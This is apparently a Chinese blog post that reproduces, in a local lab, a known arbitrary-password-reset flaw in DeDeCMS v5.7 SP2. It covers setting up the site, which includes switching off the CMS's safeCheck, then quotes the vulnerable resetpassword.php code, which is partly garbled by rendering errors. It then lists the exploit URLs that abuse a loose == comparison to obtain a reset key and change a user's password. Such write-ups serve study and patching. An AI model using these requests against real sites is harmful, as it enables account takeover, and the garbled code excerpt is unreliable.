DeDeCMS v5.7 SP2 正式版 前台任意用户密码修改 漏洞复现(包括环境搭建)

一、漏洞概述

1 简介

织梦内容管理系统(DedeCms) [1] 以简单、实用、开源而闻名,是国内最知名的 PHP 开源网站管理系统,也是使用用户最多的 PHP 类 CMS 系统,在经历多年的发展,目前的版本无论在功能,还是在易用性方面,都有了长足的发展和进步,DedeCms 免费版的主要目标用户锁定在个人站长,功能更专注于个人网站或中小型门户的构建,当然也不乏有企业用户和学校等在使用该系统。

2 漏洞限制

​ 1、 只影响前台账户

​ 2、 只能修改未设置安全问题的账户

3 影响版本

DeDeCMSV5.7SP2 正式版(2018-01-09)

二、环境搭建

1下载DeDeCMSV5.7SP2 正式版(2018-01-09)的源码

在这里插入图片描述

​ 该版本环境为php5.6+mysql

2利用phpstudy搭建网站并安装dedecms

将源码内容复制,并在phpstudy的网站根目录下创建新文件夹dedecms,将源码内容复制进去:

在这里插入图片描述

​ 点击创建网站,域名为127.0.0.1,端口除了80随意设置,按照以下进行设置:

在这里插入图片描述

确认并重启网络服务,网站就搭建好了,下面打开网站进入dedecms安装界面:

在这里插入图片描述

点击继续

在这里插入图片描述

数据库密码是在phpstudy里的数据库密码,一般是root,管理员就按照默认设置账户和密码:

在这里插入图片描述

这时点击继续会出现以下界面,应该是一些安全配置没有设置好

在这里插入图片描述

打开源码目录下D:\phpstudy_pro\WWW\dedecms\include,找到dedesql.class.php和dedesqli.class.php两个php文件,用notepad++打开,然后ctrl+F寻找safeCheck,把TURE改为FALSE,关闭安全检查

在这里插入图片描述

在这里插入图片描述

保存之后,刷新界面安装完成,环境搭建完毕

在这里插入图片描述

三、漏洞复现

1.漏洞原因及触发位置

由于前台resetpassword.php中对接受的safeanswer参数类型比较不够严格,遭受弱类型比较攻击

导致了远程攻击者可以在前台会员中心绕过验证,进行任意用户密码重置攻击

漏洞触发位置:dedecms/member/resetpassword.php(75行)

else if($dopost == “safequestion”)

{

$mid = preg_replace("#[^0-9]#", “”, $id);

KaTeX parse error: Expected 'EOF', got '#' at position 57: …rid,email FROM #̲@__member WHERE…mid’";

$row = d b − > G e t O n e ( db->GetOne( db>GetOne(sql);

if(empty($safequestion)) $safequestion = ‘’;

if(empty($safeanswer)) $safeanswer = ‘’;

if($row[‘safequestion’] == $safequestion && $row[‘safeanswer’] ==
$safeanswer)

{

​ sn($mid, $row[‘userid’], $row[‘email’], ‘N’);

​ exit();

}

else

{

​ ShowMsg(“对不起,您的安全问题或答案回答错误”,"-1");

​ exit();

}

}

就是这里的判断出现了问题,因为使用了不够严谨的 == 进行了比较,导致if语句的条件为真,就会进入分支,进入sn函数

if($row[‘safequestion’] == $safequestion && $row[‘safeanswer’] ==
$safeanswer)

{

sn($mid, $row[‘userid’], $row[‘email’], ‘N’);

exit();

}

2.复现过程

打开会员功能,并创建一个测试账号test:
test 初始密码1234,不要设置安全问题,这个漏洞的基础就是没有安全问题
在这里插入图片描述
在这里插入图片描述

管理后台查询test的uid为2,为接下来的复现做准备
在这里插入图片描述

打开burp进行抓包,在网站URL上输入请求:

http://127.0.0.1:9090/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=2

burp抓包发现临时验证码

在这里插入图片描述

http://127.0.0.1:9090/member/resetpassword.php?dopost=getpasswd&id=2&key=ZHEZGwSd

Key= ZHEZGwSd为临时验证码,记住这个验证码

然后在URL输入:

http://127.0.0.1:9090/member/resetpassword.php?dopost=getpasswd&id=2

burp放包 跳转进入修改密码界面
在这里插入图片描述

输入刚才抓包获得验证码,修改test用户的新密码为1234567
在这里插入图片描述

修改成功
在这里插入图片描述

尝试用新密码登录
在这里插入图片描述

成功登录

在这里插入图片描述

漏洞复现完毕

  • 3
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
dedecms5.7sp2安装的步骤如下: 1. 首先,你可以在自己的电脑上安装织梦dedecms进行网站后台的熟悉以及站点的建立、调试。 [1] 2. 下载织梦dedecms安装所需的工具,并按照教程一步步进行操作。 [1] 3. 安装完成后,在自定义模型中使用了union、sleep、benchmark、load_file、outfile等语句可能会出现安全警告。 [2] 4. 为了解决这个问题,你需要打开源码目录下的dedesql.class.php和dedesqli.class.php两个文件,用文本编辑器打开。 [3] 5. 在这两个文件中找到safeCheck这个参数,将其修改为FALSE,即$this->safeCheck=FALSE; [3] 通过以上步骤,你就可以成功安装dedecms5.7sp2了。希望对你有帮助!<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [织梦dedecms怎么安装?如何本地环境搭建网站?](https://blog.csdn.net/qq_43557623/article/details/112151218)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [DeDeCMS v5.7 SP2 正式版 前台任意用户密码修改漏洞复现](https://blog.csdn.net/m0_60466340/article/details/121586697)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [DeDeCMS v5.7 SP2 正式版 前台任意用户密码修改 漏洞复现(包括环境搭建)](https://blog.csdn.net/weixin_52497013/article/details/121468861)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_AaRong_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值